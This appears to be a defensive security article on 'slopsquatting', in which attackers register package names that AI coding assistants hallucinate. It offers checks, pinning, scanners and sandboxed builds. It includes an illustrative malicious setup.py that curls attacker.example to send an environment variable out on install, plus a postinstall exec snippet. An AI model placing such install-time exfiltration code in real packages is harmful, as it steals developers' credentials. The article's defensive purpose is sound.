AI coding assistants have become a daily part of many developers’ workflows. They autocomplete imports, suggest utility libraries, and recommend packages for common tasks. Most of the time, this is genuinely useful. But there is a quiet failure mode baked into how large language models work: they sometimes invent package names that do not exist.
Attackers have noticed.
Slopsquatting is the practice of registering those hallucinated package names on public registries — npm, PyPI, crates.io — and filling them with malicious code. When a developer copies an AI-suggested pip install or npm install command without checking whether the package is real, they may install an attacker-controlled package instead of nothing.
The name comes from “slop” — a colloquial term for low-quality AI output — combined with “typosquatting”, the older practice of registering misspelled versions of popular packages.
Why models hallucinate package names
Language models generate text by predicting what comes next, based on patterns in training data. When asked to recommend a library for, say, parsing TOML in Go or validating EU VAT numbers in Python, the model may produce a plausible-sounding name rather than admit uncertainty. The invented names are often convincing: they follow real naming conventions, match the language ecosystem’s style, and sometimes even include realistic version numbers or GitHub paths.
This is not a bug that will simply be patched. It is a property of how these models work.
What the attack looks like in practice
A developer asks an AI assistant: “What’s a good Python library for working with UK bank sort codes?” The model responds confidently:
You can use sortcode-validator. Install it with:
pip install sortcode-validator
The package sortcode-validator does not exist on PyPI — or rather, it didn’t until an attacker registered it. The developer runs the install command. The package executes a setup script that exfiltrates environment variables, SSH keys, or AWS credentials to an attacker-controlled server.
The attack works because:
- The developer trusts the AI’s recommendation
- No verification step exists between “AI said it” and “terminal ran it”
- Package registries are open — anyone can publish
Spotting a hallucinated or malicious package
Before installing any AI-recommended package, run a quick sanity check.
Check the package exists and has history:
# Python
pip index versions sortcode-validator
# or check PyPI directly
curl -s https://pypi.org/pypi/sortcode-validator/json | python3 -m json.tool | grep -E '"version"|"upload_time"'
# Node
npm info some-ai-suggested-package created
A package published last week with zero prior versions and no README is a red flag.
Inspect before you install:
# Python -- download without installing
pip download sortcode-validator --no-deps -d /tmp/pkg-inspect
cd /tmp/pkg-inspect
tar xzf sortcode_validator*.tar.gz
grep -r "subprocess\|os\.system\|exec\|eval\|urllib\|requests" sortcode_validator*/
# Node -- view package contents before running scripts
npm pack some-package --dry-run
# or use a tool like socket.dev's CLI
npx @socketsecurity/cli install some-package
Look for setup-time code execution in Python packages:
# Legitimate setup.py -- minimal, no network calls
from setuptools import setup
setup(name="mypackage", version="1.0")
# Suspicious setup.py -- runs code on install
import os, subprocess
subprocess.run(["curl", "https://attacker.example/exfil?h=" + os.environ.get("HOME")])
setup(name="sortcode-validator", version="0.1")
In Node, the equivalent danger lives in preinstall and postinstall scripts inside package.json:
{
"name": "sortcode-validator",
"scripts": {
"postinstall": "node -e \"require('child_process').exec('curl ...')\"
}
}
Hardening your pipeline
1. Lock your dependencies
Never let a package manager resolve to whatever is latest. Pin exact versions and commit lockfiles.
# Python: generate a fully pinned requirements file
pip-compile --generate-hashes requirements.in > requirements.txt
# Node: commit package-lock.json or yarn.lock
# and enforce it in CI:
npm ci # fails if lockfile is missing or inconsistent
Hashes verify that the file you download is exactly the file that was there when you pinned it — even if an attacker later compromises the package author’s account.
2. Use private registries or mirrors with allow-lists
# pyproject.toml -- restrict to internal mirror + PyPI only
[tool.uv]
index-url = "https://pypi.internal.example.com/simple"
extra-index-url = ["https://pypi.org/simple"]
// .npmrc -- scope packages to your internal registry
@myorg:registry=https://npm.internal.example.com
3. Audit AI suggestions before running them
Make it a team norm: treat any AI-recommended install command as untrusted input. Verify the package on the registry website before running it. Check the author, the creation date, the download count, and whether there is a real repository behind it.
A one-line shell function can prompt for confirmation:
# Add to ~/.bashrc or ~/.zshrc
safe_pip() {
echo "About to install: $@"
echo "Verify at: https://pypi.org/project/${1}/"
read -p "Confirmed? [y/N] " confirm
[[ "$confirm" == "y" ]] && pip install "$@"
}
alias pip=safe_pip
4. Run dependency scanners in CI
Tools like Socket, Deps.dev, and pip-audit can flag newly published packages, packages with install scripts, and packages that match known malicious patterns.
# GitHub Actions -- scan Python deps on every PR
- name: Audit dependencies
run: |
pip install pip-audit
pip-audit --requirement requirements.txt
# Node -- Socket CLI blocks suspicious installs
npm install -g @socketsecurity/cli
socket npm install some-package
5. Restrict network access during builds
Isolate your build environment so that even if a malicious package runs, it cannot exfiltrate data. In Docker:
# Build in a network-isolated stage
FROM python:3.13-slim AS builder
RUN --network=none pip install --no-index --find-links=/wheels -r requirements.txt
Or use GVisor, Firecracker, or Nix sandboxing to prevent outbound connections during package installation.
The broader picture
Slopsquatting is one instance of a wider problem: the trust boundary between “AI output” and “terminal input” is poorly defined in most developer workflows. Developers are accustomed to trusting their tools. AI assistants present information with the same confident formatting as documentation, which makes it harder to maintain the sceptical posture that good security hygiene requires.
The fix is not to stop using AI assistants. The fix is to treat their package recommendations the same way you treat any other external input: verify before executing, pin after verifying, and automate the verification wherever possible.
Package registries are also responding — npm and PyPI have both introduced faster takedown processes for known malicious packages and are exploring namespace reservation for popular package name patterns. But registries cannot keep up with the volume of potential squatting targets, especially when the attack surface expands every time a model hallucinates a new name.
Your best defence remains the same one that protects against typosquatting and dependency confusion: know what you are installing, and make that knowledge mandatory in your pipeline.